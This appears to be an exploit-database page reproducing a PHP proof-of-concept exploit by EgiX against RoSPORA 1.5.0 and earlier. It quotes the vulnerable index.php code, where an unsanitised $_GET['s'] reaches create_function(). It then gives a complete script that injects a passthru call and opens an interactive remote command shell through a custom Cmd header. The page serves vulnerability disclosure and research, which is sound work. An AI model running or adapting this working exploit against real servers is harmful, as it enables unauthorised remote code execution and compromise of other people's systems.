Lucene search
K

RoSPORA <= 1.5.0 - Remote PHP Code Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit by EgiX. Exploits a code injection vulnerability in the RoSPORA version 1.5.0, allowing remote execution of arbitrary PHP code

Code

                                                &#60;?php

/*
	--------------------------------------------------
	RoSPORA &#60;= 1.5.0 Remote PHP Code Injection Exploit
	--------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	link.....: http://code.google.com/p/rospora/
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /index.php
	
	667.	if (!$sort = &$_GET[&#39;s&#39;]) $sort=0;
	668.	if (!$flag = &$_GET[&#39;f&#39;]) $flag=0;
	669.	if ($flag==0)   {       $flag=1; $sort_type=&#39;&#60;&#39;; } 
	670.	                else    {       $flag=0; $sort_type=&#39;&#62;&#39;; }
	671.	$link=$_SERVER[&#39;PHP_SELF&#39;].&#34;?f=&#34;.$flag.&#34;&s=&#34;;
	672.	
	673.	if (!empty($pl_array)) 
	674.	        {
	675.	        usort($pl_array, create_function(&#39;$a, $b&#39;, &#39;if ( $a[&#39;.$sort.&#39;] == $b[&#39;.$sort.&#39;] ) return 0; if ( $a[&#39;.$sort.&#39;] &#39;.$sort_type.&#39; $b[&#39;.$sort.&#39;] ) return -1; return 1;&#39;));
	676.	        }
	
	Input parameter passed through $_GET[&#39;s&#39;] isn&#39;t properly sanitised before being used in a call to
	&#34;create_function()&#34; at line 675. This can be exploited to inject and execute arbitrary PHP code.

*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
	if (!($sock = fsockopen($host, 80)))
		die(&#34;\n[-] No response from {$host}:80\n&#34;);

	fputs($sock, $packet);
	return stream_get_contents($sock);
}

print &#34;\n+------------------------------------------------------------+&#34;;
print &#34;\n| RoSPORA &#60;= 1.5.0 Remote PHP Code Injection Exploit by EgiX |&#34;;
print &#34;\n+------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage......: php $argv[0] host path\n&#34;;
	print &#34;\nExample....: php $argv[0] localhost /&#34;;
	print &#34;\nExample....: php $argv[0] localhost /rospora/\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];

$code	 = &#34;0]);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23&#34;;
$packet  = &#34;GET {$path}?s={$code} HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
	print &#34;\nrospora-shell# &#34;;
	if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match(&#34;/_code_/&#34;, $response) ? print array_pop(explode(&#34;_code_&#34;, $response)) : die(&#34;\n[-] Exploit failed...\n&#34;);
}

?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation